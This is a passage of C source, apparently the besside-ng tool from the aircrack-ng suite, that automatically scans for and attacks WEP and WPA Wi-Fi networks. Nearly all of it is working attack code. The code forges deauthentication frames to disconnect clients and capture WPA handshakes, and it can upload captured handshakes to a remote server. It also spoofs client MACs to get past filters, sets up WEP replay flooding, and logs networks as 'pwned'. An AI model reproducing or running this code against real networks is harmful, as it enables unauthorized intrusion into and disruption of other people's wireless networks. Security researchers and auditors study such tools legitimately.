/*
 *  Copyright (C) 2010 Andrea Bittau <bittau@cs.stanford.edu>
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
 *
 *
 *  In addition, as a special exception, the copyright holders give
 *  permission to link the code of portions of this program with the
 *  OpenSSL library under certain conditions as described in each
 *  individual source file, and distribute linked combinations
 *  including the two.
 *  You must obey the GNU General Public License in all respects
 *  for all of the code used other than OpenSSL. *  If you modify
 *  file(s) with this exception, you may extend this exception to your
 *  version of the file(s), but you are not obligated to do so. *  If you
 *  do not wish to do so, delete this exception statement from your
 *  version. *  If you delete this exception statement from all source
 *  files in the program, then also delete it here.
 */

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <err.h>
#include <signal.h>
#include <string.h>
#include <assert.h>
#include <time.h>
#include <stdarg.h>
#include <errno.h>
#include <netdb.h>
#include <unistd.h>
#include <limits.h>

#ifdef HAVE_PCRE
#include <pcre.h>
#endif

#include "aircrack-ng/defs.h"
#include "aircrack-ng/aircrack-ng.h"
#include "aircrack-ng/version.h"
#include "aircrack-ng/support/communications.h"
#include "aircrack-ng/ptw/aircrack-ptw-lib.h"
#include "aircrack-ng/osdep/osdep.h"
#include "aircrack-ng/third-party/ieee80211.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/tui/console.h"
#include "aircrack-ng/support/common.h"

static int PTW_DEFAULTBF[PTW_KEYHSBYTES]
	= {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
	   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};

enum
{
	STATE_SCAN = 0,
	STATE_ATTACK,
	STATE_DONE,
};

enum
{
	CRYPTO_NONE = 0,
	CRYPTO_WEP,
	CRYPTO_WPA,
	CRYPTO_WPA_MGT,
};

enum
{
	ASTATE_NONE = 0,
	ASTATE_PING,
	ASTATE_READY,

	ASTATE_DEAUTH,
	ASTATE_WPA_CRACK,

	ASTATE_WEP_PRGA_GET,
	ASTATE_WEP_FLOOD,

	ASTATE_DONE,
	ASTATE_UNREACH,
};

enum
{
	WSTATE_NONE = 0,
	WSTATE_AUTH,
	WSTATE_ASSOC,
};

enum
{
	V_NORMAL = 0,
	V_VERBOSE,
};

struct cracker;
struct network;

typedef void (*timer_cb)(void *);
typedef void (*cracker_cb)(struct cracker *, struct network * n);
typedef int (*check_cb)(struct network * n);

struct channel
{
	int c_num;
	struct channel * c_next;
};

static struct conf
{
	char * cf_ifname;
	struct channel cf_channels;
	int cf_hopfreq;
	int cf_deauthfreq;
	unsigned char * cf_bssid;
	int cf_attackwait;
	int cf_floodwait;
	char * cf_wordlist;
	int cf_verb;
	int cf_to;
	int cf_floodfreq;
	int cf_crack_int;
	char * cf_wpa;
	char * cf_wep;
	char * cf_log;
	int cf_do_wep;
	int cf_do_wpa;
	char * cf_wpa_server;
#ifdef HAVE_PCRE
	pcre * cf_essid_regex;
#endif
} _conf;

struct timer
{
	struct timeval t_tv;
	timer_cb t_cb;
	void * t_arg;
	struct timer * t_next;
};

struct packet
{
	unsigned char p_data[2048];
	int p_len;
};

struct client
{
	unsigned char c_mac[6];
	int c_wpa;
	int c_wpa_got;
	int c_dbm;
	struct packet c_handshake[4];
	struct client * c_next;
};

struct speed
{
	unsigned int s_num;
	struct timeval s_start;
	unsigned int s_speed;
};

struct cracker
{
	int cr_pid;
	int cr_pipe[2];
};

struct network
{
	char n_ssid[256];
	unsigned char n_bssid[6];
	int n_crypto;
	int n_chan;
	struct network * n_next;
	struct timeval n_start;
	int n_have_beacon;
	struct client n_clients;
	int n_astate;
	int n_wstate;
	unsigned short n_seq;
	int n_dbm;
	int n_ping_sent;
	int n_ping_got;
	int n_attempts;
	unsigned char n_prga[2048];
	int n_prga_len;
	unsigned char n_replay[2048];
	int n_replay_len;
	int n_replay_got;
	struct timeval n_replay_last;
	struct speed n_flood_in;
	struct speed n_flood_out;
	int n_data_count;
	int n_crack_next;
	PTW_attackstate * n_ptw;
	struct cracker n_cracker_wep[2];
	unsigned char n_key[64];
	int n_key_len;
	struct packet n_beacon;
	int n_beacon_wrote;
	struct client * n_client_handshake;
	int n_mac_filter;
	struct client * n_client_mac;
	int n_got_mac;
};

static struct state
{
	struct wif * s_wi;
	int s_state;
	struct timeval s_now;
	struct timeval s_start;
	struct network s_networks;
	struct network * s_curnet;
	struct channel * s_hopchan;
	unsigned int s_hopcycles;
	int s_chan;
	unsigned char s_mac[6];
	struct timer s_timers;
	struct rx_info * s_ri;
	int s_wpafd;
	int s_wepfd;
} _state;

static void attack_continue(struct network * n);
static void attack(struct network * n);

void show_wep_stats(int UNUSED(B),
					int UNUSED(force),
					PTW_tableentry UNUSED(table[PTW_KEYHSBYTES][PTW_n]),
					int UNUSED(choices[KEYHSBYTES]),
					int UNUSED(depth[KEYHSBYTES]),
					int UNUSED(prod))
{
}

static void time_printf(int verb, char * fmt, ...)
{
	time_t now = _state.s_now.tv_sec;
	struct tm * t;
	va_list ap;

	if (verb > _conf.cf_verb) return;

	t = localtime(&now);
	if (!t) err(1, "localtime()");

	erase_line(0);
	printf("[%.2d:%.2d:%.2d] ", t->tm_hour, t->tm_min, t->tm_sec);

	va_start(ap, fmt);
	vprintf(fmt, ap);
	va_end(ap);
}

static void cracker_kill(struct cracker * c)
{
	REQUIRE(c != NULL);

	if (c->cr_pid)
	{
		kill(c->cr_pid, SIGKILL);

		if (c->cr_pipe[0]) close(c->cr_pipe[0]);
	}

	memset(c, 0, sizeof(*c));
}

static void save_network(FILE * f, struct network * n)
{
	REQUIRE(f != NULL);
	REQUIRE(n != NULL);

	int len;

	if (n->n_crypto != CRYPTO_WPA && n->n_crypto != CRYPTO_WEP) return;

	if (!n->n_have_beacon) return;

	if (n->n_astate != ASTATE_DONE) return;

	len = strlen(n->n_ssid);

	fprintf(f, "%s", n->n_ssid);

	while (len++ < 20) fprintf(f, " ");

	fprintf(f, "| ");
	len = 0;
	if (n->n_key_len)
	{
		for (len = 0; len < n->n_key_len; len++)
		{
			if (len != 0) fprintf(f, ":");

			fprintf(f, "%.2x", n->n_key[len]);
		}

		len = n->n_key_len * 3 - 1;
	}

	if (n->n_client_handshake)
	{
		fprintf(f, "Got WPA handshake");
		len = 17;
	}

	if (n->n_astate == ASTATE_UNREACH)
	{
		fprintf(f, "Crappy connection");
		len = 17;
	}

	while (len++ < 38) fprintf(f, " ");

	char * mac_bssid = mac2string(n->n_bssid);
	ALLEGE(mac_bssid != NULL);
	fprintf(f, " | %s", mac_bssid);
	free(mac_bssid);

	fprintf(f, " | ");
	if (n->n_got_mac)
	{
		char * mac_c = mac2string(n->n_client_mac->c_mac);
		ALLEGE(mac_c != NULL);
		fprintf(f, "%s", mac_c);
		free(mac_c);
	}

	fprintf(f, "\n");
}

static void save_log(void)
{
	FILE * f;
	struct network * n = _state.s_networks.n_next;

	f = fopen(_conf.cf_log, "w");
	if (!f) err(1, "fopen()");

	fprintf(f, "# SSID              ");
	fprintf(f, "| KEY                                    | BSSID");
	fprintf(f, "             | MAC filter\n");

	while (n)
	{
		save_network(f, n);
		n = n->n_next;
	}

	fclose(f);
}

static inline void do_wait(int UNUSED(x)) { wait(NULL); }

static inline void * xmalloc(size_t sz)
{
	void * p = malloc(sz);

	if (!p) err(1, "malloc()");

	return p;
}

static void timer_next(struct timeval * tv)
{
	REQUIRE(tv != NULL);

	struct timer * t = _state.s_timers.t_next;
	int diff;

	if (!t)
	{
		tv->tv_sec = 1;
		tv->tv_usec = 0;
		return;
	}

	diff = time_diff(&_state.s_now, &t->t_tv);
	if (diff <= 0)
	{
		tv->tv_sec = 0;
		tv->tv_usec = 0;
		return;
	}

	tv->tv_sec = diff / (1000 * 1000);
	tv->tv_usec = diff - (tv->tv_sec * 1000 * 1000);
}

static void timer_in(int us, timer_cb cb, void * arg)
{
	struct timer * t = xmalloc(sizeof(*t));
	struct timer * p = &_state.s_timers;
	int s;

	memset(t, 0, sizeof(*t));

	t->t_cb = cb;
	t->t_arg = arg;
	t->t_tv = _state.s_now;

	t->t_tv.tv_usec += us;

	s = t->t_tv.tv_usec / (1000 * 1000);
	t->t_tv.tv_sec += s;
	t->t_tv.tv_usec -= s * 1000 * 1000;

	while (p->t_next)
	{
		if (time_diff(&t->t_tv, &p->t_next->t_tv) > 0) break;

		p = p->t_next;
	}

	t->t_next = p->t_next;
	p->t_next = t;
}

static void timer_check(void)
{
	while (_state.s_timers.t_next)
	{
		struct timer * t = _state.s_timers.t_next;

		if (time_diff(&t->t_tv, &_state.s_now) < 0) break;

		_state.s_timers.t_next = t->t_next;

		t->t_cb(t->t_arg);

		free(t);
	}
}

static unsigned char * get_bssid(struct ieee80211_frame * wh)
{
	REQUIRE(wh != NULL);

	int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
	uint16_t * p = (uint16_t *) (wh + 1);

	if (type == IEEE80211_FC0_TYPE_CTL) return (NULL);

	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
		return (wh->i_addr1);
	else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
		return (wh->i_addr2);

	// XXX adhoc?
	if (type == IEEE80211_FC0_TYPE_DATA) return (wh->i_addr1);

	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
	{
		case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
		case IEEE80211_FC0_SUBTYPE_REASSOC_REQ:
		case IEEE80211_FC0_SUBTYPE_DISASSOC:
			return (wh->i_addr1);

		case IEEE80211_FC0_SUBTYPE_AUTH:
			/* XXX check len */
			switch (le16toh(p[1]))
			{
				case 1:
				case 3:
					return (wh->i_addr1);

				case 2:
				case 4:
					return (wh->i_addr2);
			}
			return (NULL);

		case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
		case IEEE80211_FC0_SUBTYPE_REASSOC_RESP:
		case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
		case IEEE80211_FC0_SUBTYPE_BEACON:
		case IEEE80211_FC0_SUBTYPE_DEAUTH:
			return (wh->i_addr2);

		case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
		default:
			return (NULL);
	}
}

static struct network * network_get(struct ieee80211_frame * wh)
{
	struct network * n = _state.s_networks.n_next;
	unsigned char * bssid = get_bssid(wh);

	if (!bssid) return (NULL);

	while (n)
	{
		if (memcmp(n->n_bssid, bssid, sizeof(n->n_bssid)) == 0) return (n);

		n = n->n_next;
	}

	return (NULL);
}

static struct network * network_new(void)
{
	struct network * n = xmalloc(sizeof(*n));

	memset(n, 0, sizeof(*n));
	n->n_crack_next = _conf.cf_crack_int;

	return (n);
}

static void do_network_add(struct network * n)
{
	struct network * p = &_state.s_networks;

	while (p->n_next) p = p->n_next;

	p->n_next = n;
}

static struct network * network_add(struct ieee80211_frame * wh)
{
	struct network * n;
	unsigned char * bssid = get_bssid(wh);

	if (!bssid) return (NULL);

	n = network_new();

	memcpy(n->n_bssid, bssid, sizeof(n->n_bssid));

	do_network_add(n);

	return (n);
}

static inline void print_hex(void * p, int len)
{
	REQUIRE(p != NULL);

	unsigned char * x = p;

	while (len--)
	{
		printf("%.2x", *x++);
		if (len) printf(":");
	}
}

static void network_print(struct network * n)
{
	REQUIRE(n != NULL);

	const char * crypto = "dunno";

	switch (n->n_crypto)
	{
		case CRYPTO_NONE:
			crypto = "none";
			break;

		case CRYPTO_WEP:
			crypto = "WEP";
			break;

		case CRYPTO_WPA:
			crypto = "WPA";
			break;

		case CRYPTO_WPA_MGT:
			crypto = "WPA-SECURE";
			break;
	}

	char * mac = mac2string(n->n_bssid);
	ALLEGE(mac != NULL);
	time_printf(V_VERBOSE,
				"Found AP %s [%s] chan %d crypto %s dbm %d\n",
				mac,
				n->n_ssid,
				n->n_chan,
				crypto,
				n->n_dbm);
	free(mac);
}

static void channel_set(int num)
{
	if (wi_set_channel(_state.s_wi, num) == -1) err(1, "wi_set_channel()");

	_state.s_chan = num;
}

static void fill_basic(struct network * n, struct ieee80211_frame * wh)
{
	REQUIRE(n != NULL);
	REQUIRE(wh != NULL);

	uint16_t * p;

	memset(wh, 0, sizeof(*wh));

	p = (uint16_t *) wh->i_dur;
	*p = htole16(32767);

	p = (uint16_t *) wh->i_seq;
	*p = fnseq(0, n->n_seq++);
}

static void wifi_send(void * p, int len)
{
	int rc;
	struct tx_info tx;

	memset(&tx, 0, sizeof(tx));

	rc = wi_write(_state.s_wi, NULL, LINKTYPE_IEEE802_11, p, len, &tx);
	if (rc == -1) err(1, "wi_write()");
}

static void deauth_send(struct network * n, unsigned char * mac)
{
	REQUIRE(n != NULL);
	REQUIRE(mac != NULL);

	unsigned char buf[2048];
	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
	uint16_t * rc = (uint16_t *) (wh + 1);

	fill_basic(n, wh);
	memcpy(wh->i_addr1, mac, sizeof(wh->i_addr1));
	memcpy(wh->i_addr2, n->n_bssid, sizeof(wh->i_addr2));
	memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3));

	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_DEAUTH;

	*rc++ = htole16(7);

	char * mac_p = mac2string(mac);
	ALLEGE(mac_p != NULL);
	time_printf(V_VERBOSE, "Sending deauth to %s\n", mac_p);
	free(mac_p);

	wifi_send(wh, (unsigned long) rc - (unsigned long) wh);
}

static void deauth(void * arg)
{
	REQUIRE(arg != NULL);

	struct network * n = arg;
	struct client * c = n->n_clients.c_next;

	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
		|| n->n_astate != ASTATE_DEAUTH)
		return;

	deauth_send(n, BROADCAST);

	while (c)
	{
		deauth_send(n, c->c_mac);
		c = c->c_next;
	}

	timer_in(_conf.cf_deauthfreq * 1000, deauth, n);
}

static int open_pcap(char * fname)
{
	REQUIRE(fname != NULL);

	int fd;
	struct pcap_file_header pfh;

	fd = open(fname, O_RDWR | O_APPEND);
	if (fd != -1)
	{
		time_printf(V_NORMAL, "Appending to %s\n", fname);
		return (fd);
	}

	memset(&pfh, 0, sizeof(pfh));
	pfh.magic = TCPDUMP_MAGIC;
	pfh.version_major = PCAP_VERSION_MAJOR;
	pfh.version_minor = PCAP_VERSION_MINOR;
	pfh.thiszone = 0;
	pfh.sigfigs = 0;
	pfh.snaplen = 65535;
	pfh.linktype = LINKTYPE_IEEE802_11;

	fd = open(fname, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
	if (fd == -1) err(1, "open(%s)", fname);

	if (write(fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()");

	return (fd);
}

static void write_pcap(int fd, void * p, int len)
{
	REQUIRE(fd != -1);
	REQUIRE(p != NULL);

	struct pcap_pkthdr pkh;

	memset(&pkh, 0, sizeof(pkh));

	pkh.caplen = pkh.len = len;
	pkh.tv_sec = _state.s_now.tv_sec;
	pkh.tv_usec = _state.s_now.tv_usec;

	if (write(fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()");

	if (write(fd, p, len) != len) err(1, "write()");
}

static inline void packet_write_pcap(int fd, struct packet * p)
{
	REQUIRE(fd != -1);
	REQUIRE(p != NULL);

	write_pcap(fd, p->p_data, p->p_len);
}

static void wpa_upload(void)
{
	struct sockaddr_in s_in;
	int s;
	char buf[4096];
	char boundary[128];
	char h1[1024];
	char form[1024];
	struct stat stat;
	off_t off;
	int tot;
	int ok = 0;

	memset(&s_in, 0, sizeof(s_in));

	s_in.sin_family = PF_INET;
	s_in.sin_port = htons(80);

	if (inet_aton(_conf.cf_wpa_server, &s_in.sin_addr) == 0)
	{
		struct hostent * he;

		he = gethostbyname(_conf.cf_wpa_server);
		if (!he) goto __no_resolve;

		if (!he->h_addr_list[0])
		{
		__no_resolve:
			time_printf(V_NORMAL, "Can't resolve %s\n", _conf.cf_wpa_server);
			return;
		}

		memcpy(&s_in.sin_addr, he->h_addr_list[0], 4);
	}

	if ((s = socket(s_in.sin_family, SOCK_STREAM, 0)) == -1) err(1, "socket()");

	if (connect(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
	{
		time_printf(V_NORMAL, "Can't connect to %s\n", _conf.cf_wpa_server);

		close(s);
		return;
	}

	if (fstat(_state.s_wpafd, &stat) == -1) err(1, "fstat()");

	snprintf(boundary, sizeof(boundary), "37872861916401860062104501923");

	snprintf(h1,
			 sizeof(h1),
			 "--%s\r\n"
			 "Content-Disposition: form-data;"
			 " name=\"file\";"
			 " filename=\"wpa.cap\"\r\n"
			 "Content-Type: application/octet-stream\r\n\r\n",
			 boundary);

	snprintf(form,
			 sizeof(form),
			 "\r\n"
			 "--%s\r\n"
			 "Content-Disposition: form-data;"
			 " name=\"fs\"\r\n\r\n"
			 "Upload"
			 "\r\n"
			 "%s--\r\n",
			 boundary,
			 boundary);

	tot = stat.st_size;

	snprintf(buf,
			 sizeof(buf),
			 "POST /index.php HTTP/1.0\r\n"
			 "Host: %s\r\n"
			 "User-Agent: besside-ng\r\n"
			 "Content-Type: multipart/form-data; boundary=%s\r\n"
			 "Content-Length: %d\r\n\r\n",
			 _conf.cf_wpa_server,
			 boundary,
			 (int) (strlen(h1) + strlen(form) + tot));

	if (write(s, buf, strlen(buf)) != (int) strlen(buf)) goto __fail;

	if (write(s, h1, strlen(h1)) != (int) strlen(h1)) goto __fail;

	if ((off = lseek(_state.s_wpafd, 0, SEEK_CUR)) == (off_t) -1)
		err(1, "lseek()");

	if (lseek(_state.s_wpafd, 0, SEEK_SET) == (off_t) -1) err(1, "lseek()");

	while (tot)
	{
		int l = tot;

		if (l > (int) sizeof(buf)) l = sizeof(buf);

		if (read(_state.s_wpafd, buf, l) != l) err(1, "read()");

		if (write(s, buf, l) != l) goto __fail;

		tot -= l;
	}

	if (write(s, form, strlen(form)) != (int) strlen(form)) goto __fail;

	if (lseek(_state.s_wpafd, off, SEEK_SET) == (off_t) -1) err(1, "lseek()");

	while ((tot = read(s, buf, sizeof(buf) - 1)) > 0)
	{
		char * p;

		buf[tot] = 0;

		p = strstr(buf, "\r\n\r\n");
		if (!p) goto __fail;

		p += 4;

		if (atoi(p) == 2)
			ok = 1;
		else
			goto __fail;
	}

	if (!ok) goto __fail;

	close(s);

	time_printf(
		V_NORMAL, "Uploaded WPA handshake to %s\n", _conf.cf_wpa_server);

	return;
__fail:
	close(s);
	time_printf(V_NORMAL, "WPA handshake upload failed\n");
}

static void wpa_crack(struct network * n)
{
	REQUIRE(n != NULL);

	int i;

	packet_write_pcap(_state.s_wpafd, &n->n_beacon);

	for (i = 0; i < 4; i++)
	{
		struct packet * p = &n->n_client_handshake->c_handshake[i];

		if (p->p_len) packet_write_pcap(_state.s_wpafd, p);
	}

	fsync(_state.s_wpafd);

	if (_conf.cf_wpa_server)
		wpa_upload();
	else
	{
		time_printf(V_NORMAL, "Run aircrack on %s for WPA key\n", _conf.cf_wpa);
	}

	/* that was fast cracking! */
	n->n_astate = ASTATE_DONE;

	attack_continue(n);
}

static void attack_wpa(struct network * n)
{
	REQUIRE(n != NULL);

	switch (n->n_astate)
	{
		case ASTATE_READY:
			n->n_astate = ASTATE_DEAUTH;
		/* fallthrough */
		case ASTATE_DEAUTH:
			deauth(n);
			break;

		case ASTATE_WPA_CRACK:
			wpa_crack(n);
			break;
	}
}

static void hop(void * arg)
{
	int old = _state.s_chan;

	if (_state.s_state != STATE_SCAN) return;

	while (1)
	{
		struct channel * c = _state.s_hopchan->c_next;

		if (c->c_num == old) break;

		// skip unsupported chan.  XXX check if we run out.
		if (wi_set_channel(_state.s_wi, c->c_num) == -1)
		{
			_state.s_hopchan->c_next = c->c_next;
			free(c);
		}
		else
			break;
	}

	_state.s_hopchan = _state.s_hopchan->c_next;
	_state.s_chan = _state.s_hopchan->c_num;

	// XXX assume we don't lose head
	if (_state.s_hopchan == _conf.cf_channels.c_next) _state.s_hopcycles++;

	timer_in(_conf.cf_hopfreq * 1000, hop, arg);
}

static void scan_start(void)
{
	_state.s_state = STATE_SCAN;
	_state.s_hopcycles = 0;

	hop(NULL); /* XXX check other hopper */
}

static void send_auth(struct network * n)
{
	REQUIRE(n != NULL);

	unsigned char buf[2048];
	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
	uint16_t * rc = (uint16_t *) (wh + 1);

	fill_basic(n, wh);
	memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1));
	memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2));
	memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3));

	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;

	*rc++ = htole16(0);
	*rc++ = htole16(1);
	*rc++ = htole16(0);

	wifi_send(wh, (int) ((intptr_t) rc - (intptr_t) wh));
}

static void ping_send(struct network * n)
{
	REQUIRE(n != NULL);

	send_auth(n);

	time_printf(V_VERBOSE, "Sending ping to %s\n", n->n_ssid);

	n->n_ping_sent++;
}

static void ping_reply(struct network * n, struct ieee80211_frame * wh)
{
	REQUIRE(wh != NULL);

	uint16_t * p = (uint16_t *) (wh + 1);

	if (le16toh(p[1]) == 2)
	{
		REQUIRE(n != NULL);

		time_printf(V_VERBOSE, "Ping reply %s\n", n->n_ssid);
		n->n_ping_got++;
	}
}

static void set_mac(void * mac)
{
	REQUIRE(mac != NULL);

	if (memcmp(mac, _state.s_mac, 6) == 0) return;
#if 0
	if (wi_set_mac(_state.s_wi, mac) == -1)
			err(1, "wi_set_mac()");
#endif

	char * mac_p = mac2string(mac);
	ALLEGE(mac_p != NULL);
	time_printf(V_VERBOSE,
				"Can't set MAC - this'll suck."
				" Set it manually to %s for best performance.\n",
				mac_p);
	free(mac_p);

	memcpy(_state.s_mac, mac, 6);
}

static int have_mac(struct network * n)
{
	REQUIRE(n != NULL);

	if (!n->n_mac_filter) return (1);

	/* XXX try different clients based on feedback */
	if (!n->n_client_mac) n->n_client_mac = n->n_clients.c_next;

	if (!n->n_client_mac) return (0);

	set_mac(n->n_client_mac->c_mac);

	return (1);
}

static void attack_ping(void * a)
{
	REQUIRE(a != NULL);

	struct network * n = a;

	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return;

	if (n->n_ping_sent == 10)
	{
		int got = n->n_ping_got;
		int sent = n->n_ping_sent;
		int loss = 100 - ((double) got / (double) sent * 100.0);

		if (loss < 0) loss = 0;

		time_printf(V_VERBOSE,
					"Ping results for %s %d/%d (%d%% loss)\n",
					n->n_ssid,
					got,
					sent,
					loss);

		if (loss >= 80)
		{
			time_printf(V_NORMAL,
						"Crappy connection - %s unreachable"
						" got %d/%d (%d%% loss) [%d dbm]\n",
						n->n_ssid,
						got,
						sent,
						loss,
						n->n_dbm);

			n->n_astate = ASTATE_UNREACH;
		}
		else
			n->n_astate = ASTATE_READY;

		attack_continue(n);
		return;
	}

	ping_send(n);

	timer_in(100 * 1000, attack_ping, n);
}

#ifdef HAVE_PCRE
static int is_filtered_essid(char * essid)
{
	REQUIRE(essid != NULL);

	int ret = 0;

	if (_conf.cf_essid_regex)
	{
		return pcre_exec(_conf.cf_essid_regex,
						 NULL,
						 (char *) essid,
						 strnlen((char *) essid, MAX_IE_ELEMENT_SIZE),
						 0,
						 0,
						 NULL,
						 0)
			   < 0;
	}

	return (ret);
}
#endif

// this should always return true -sorbo
static int should_attack(struct network * n)
{
	REQUIRE(n != NULL);

	if (_conf.cf_bssid && memcmp(_conf.cf_bssid, n->n_bssid, 6) != 0)
		return (0);

#ifdef HAVE_PCRE
	if (is_filtered_essid(n->n_ssid))
	{
		return (0);
	}
#endif

	if (!n->n_have_beacon) return (0);

	switch (n->n_astate)
	{
		case ASTATE_DONE:
		case ASTATE_UNREACH:
			if (_conf.cf_bssid) _state.s_state = STATE_DONE;
			return (0);
	}

	if (n->n_crypto != CRYPTO_WEP && n->n_crypto != CRYPTO_WPA) return (0);

	if (!_conf.cf_do_wep && n->n_crypto == CRYPTO_WEP) return (0);

	return (1);
}

static inline int check_ownable(struct network * n)
{
	REQUIRE(n != NULL);

	return (should_attack(n));
}

static inline int check_owned(struct network * n)
{
	REQUIRE(n != NULL);

	/* resumed network */
	if (n->n_beacon.p_len == 0) return (0);

	return (n->n_astate == ASTATE_DONE);
}

static inline int check_unreach(struct network * n)
{
	REQUIRE(n != NULL);

	return (n->n_astate == ASTATE_UNREACH);
}

static void print_list(char * label, check_cb cb)
{
	REQUIRE(label != NULL);

	struct network * n = _state.s_networks.n_next;
	int first = 1;

	printf("%s [", label);

	while (n)
	{
		if (cb(n))
		{
			if (first)
				first = 0;
			else
				printf(", ");

			printf("%s", n->n_ssid);
			if (n->n_crypto == CRYPTO_WPA) printf("*");
		}
		n = n->n_next;
	}

	printf("]");
}

static void print_work(void)
{
	time_printf(V_NORMAL, "");

	print_list("TO-OWN", check_ownable);
	print_list(" OWNED", check_owned);
	if (_conf.cf_verb > V_NORMAL) print_list(" UNREACH", check_unreach);

	printf("\n");

	save_log();
}

static void pwned(struct network * n)
{
	REQUIRE(n != NULL);

	int s = (_state.s_now.tv_sec - n->n_start.tv_sec);
	int m = s / 60;

	s -= m * 60;

	time_printf(
		V_NORMAL, "Pwned network %s in %d:%.2d mins:sec\n", n->n_ssid, m, s);

	n->n_astate = ASTATE_DONE;

	print_work();
}

static struct network * attack_get(void)
{
	struct network *n = _state.s_networks.n_next, *start;

	if (_state.s_curnet && _state.s_curnet->n_next) n = _state.s_curnet->n_next;

	start = n;

	while (n)
	{
		if (should_attack(n)) return (n);

		n = n->n_next;
		if (n == NULL)
		{
			/* reached head, lets scan for a bit */
			if (_state.s_state == STATE_ATTACK) return (NULL);

			n = _state.s_networks.n_next;
		}
		if (n == start) break;
	}

	return (NULL);
}

static void attack_next(void)
{
	struct network * n;

	if ((n = attack_get()))
	{
		attack(n);
		return;
	}

	if (_state.s_state == STATE_DONE) return;

	/* we aint got people to pwn */
	if (_state.s_state == STATE_ATTACK) scan_start();
}

static int watchdog_next(struct network * n)
{
	if (n->n_crypto == CRYPTO_WEP && n->n_astate == ASTATE_WEP_FLOOD
		&& n->n_replay_got)
	{
		int diff;
		int to = _conf.cf_floodwait * 1000 * 1000;

		diff = time_diff(&n->n_replay_last, &_state.s_now);

		if (diff < to) return (to - diff);
	}

	return (0);
}

static void attack_watchdog(void * arg)
{
	REQUIRE(arg != NULL);

	struct network * n = arg;
	int next;

	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return;

	next = watchdog_next(n);

	if (next <= 0 || next >= INT_MAX)
	{
		time_printf(V_VERBOSE, "Giving up on %s for now\n", n->n_ssid);
		attack_next();
	}
	else
		timer_in(next, attack_watchdog, n);
}

static void network_auth(void * a)
{
	REQUIRE(a != NULL);

	struct network * n = a;

	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
		|| n->n_wstate != WSTATE_NONE)
		return;

	if (!have_mac(n)) return;

	time_printf(V_VERBOSE, "Authenticating...\n");

	send_auth(n);

	timer_in(_conf.cf_to * 1000, network_auth, n);
}

static void do_assoc(struct network * n, int stype)
{
	REQUIRE(n != NULL);

	unsigned char buf[2048];
	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
	uint16_t * rc = (uint16_t *) (wh + 1);
	unsigned char * p;

	fill_basic(n, wh);
	memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1));
	memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2));
	memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3));

	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | stype;

	*rc++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY
					| IEEE80211_CAPINFO_SHORT_PREAMBLE);
	*rc++ = htole16(0);

	p = (unsigned char *) rc;

	if (stype == IEEE80211_FC0_SUBTYPE_REASSOC_REQ)
	{
		memcpy(p, n->n_bssid, sizeof(n->n_bssid));
		p += sizeof(n->n_bssid);
	}

	*p++ = IEEE80211_ELEMID_SSID;
	*p++ = strlen(n->n_ssid);
	memcpy(p, n->n_ssid, strlen(n->n_ssid));
	p += strlen(n->n_ssid);

	// rates
	*p++ = IEEE80211_ELEMID_RATES;
	*p++ = 8;
	*p++ = 2 | 0x80;
	*p++ = 4 | 0x80;
	*p++ = 11 | 0x80;
	*p++ = 22 | 0x80;
	*p++ = 12 | 0x80;
	*p++ = 24 | 0x80;
	*p++ = 48 | 0x80;
	*p++ = 72;

	/* x-rates */
	*p++ = IEEE80211_ELEMID_XRATES;
	*p++ = 4;
	*p++ = 48;
	*p++ = 72;
	*p++ = 96;
	*p++ = 108;

	wifi_send(wh, (unsigned long) p - (unsigned long) wh);
}

static void network_assoc(void * a)
{
	REQUIRE(a != NULL);

	struct network * n = a;

	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
		|| n->n_wstate != WSTATE_AUTH)
		return;

